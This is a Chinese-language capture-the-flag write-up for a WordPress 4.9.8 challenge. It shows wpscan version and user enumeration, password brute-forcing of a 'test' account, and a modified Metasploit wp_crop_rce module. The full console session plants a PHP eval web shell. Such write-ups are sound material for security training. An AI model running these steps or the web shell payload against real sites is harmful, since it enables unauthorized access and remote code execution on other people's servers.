wordpress02 Writeup

wordpress02 Writeup

题目URL：http://whalwl.site:8043/

使用wpscan 进行简单扫描
wpscan --url http://whalwl.site:8043/
探测版本:WordPress version 4.9.8

搜索得知，4.9.8版本的wordpress的Image模块存在一个上传漏洞
相关漏洞https://github.com/brianwrf/WordPress_4.9.8_RCE_POC
该漏洞需要一个author权限的账户。

使用wpscan对其用户进行枚举
wpscan --url http://whalwl.site:8043/ --enumerate u

[i] User(s) Identified:

[+] admin
 | Found By: Wp Json Api (Aggressive Detection)
 |  - http://whalwl.site:8043/wp-json/wp/v2/users/?per_page=100&page=1
 | Confirmed By: Login Error Messages (Aggressive Detection)

[+] author
 | Found By: Author Id Brute Forcing - Author Pattern (Aggressive Detection)

但使用author去登录的时候却提示账户不存在，推测author是改了名字

使用之前推荐的字典，进行用户名枚举 Top500_Username

枚举出 用户名 admin test

爆破admin test 账户得到test密码：1qaz2wsx 密码字典

下面使用Metasploit wp_crop_rce漏洞利用模块

直接利用会提示失败，我们需要修改一下利用模块

找到wp_crop_rce漏洞利用模块路径：
vim /usr/share/metasploit-framework/modules/exploits/multi/http/wp_crop_rce.rb
修改第313行 @backdoor = Rex::Text.rand_text_alpha(10) 为 @backdoor = '111'

这一步是为了让返回的shell地址不在是随机文件名，方便我们连接。

另外将payload修改为 payload/generic/custom

msf6 > use exploit/multi/http/wp_crop_rce
[*] No payload configured, defaulting to php/meterpreter/reverse_tcp
msf6 exploit(multi/http/wp_crop_rce) > set PAYLOAD payload/generic/custom
PAYLOAD => generic/custom
msf6 exploit(multi/http/wp_crop_rce) > show options

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD                    yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      80               yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME                    yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (generic/custom):

   Name         Current Setting  Required  Description
   ----         ---------------  --------  -----------
   PAYLOADFILE                   no        The file to read the payload from
   PAYLOADSTR                    no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   0   WordPress


msf6 exploit(multi/http/wp_crop_rce) > set password 1qaz2wsx
password => 1qaz2wsx
msf6 exploit(multi/http/wp_crop_rce) > set username test
username => test
msf6 exploit(multi/http/wp_crop_rce) > set rhosts whalwl.site
rhosts => whalwl.site
msf6 exploit(multi/http/wp_crop_rce) > set RPORT 8043
RPORT => 8043
msf6 exploit(multi/http/wp_crop_rce) > set PAYLOADSTR <?php @eval($_POST[ok]);?>
PAYLOADSTR => <?php @eval($_POST[ok]);?>
msf6 exploit(multi/http/wp_crop_rce) > show options 

Module options (exploit/multi/http/wp_crop_rce):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   PASSWORD   1qaz2wsx         yes       The WordPress password to authenticate with
   Proxies                     no        A proxy chain of format type:host:port[,type:host:port][...]
   RHOSTS     whalwl.site      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      8043             yes       The target port (TCP)
   SSL        false            no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /                yes       The base path to the wordpress application
   USERNAME   test             yes       The WordPress username to authenticate with
   VHOST                       no        HTTP server virtual host


Payload options (generic/custom):

   Name         Current Setting             Required  Description
   ----         ---------------             --------  -----------
   PAYLOADFILE                              no        The file to read the payload from
   PAYLOADSTR   <?php @eval($_POST[ok]);?>  no        The string to use as a payload


Exploit target:

   Id  Name
   --  ----
   0   WordPress


msf6 exploit(multi/http/wp_crop_rce) > run
[*] Authenticating with WordPress using test:1qaz2wsx...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Attempting to clean up files...
[*] Exploit completed, but no session was created.

如果报错，就多执行两次。

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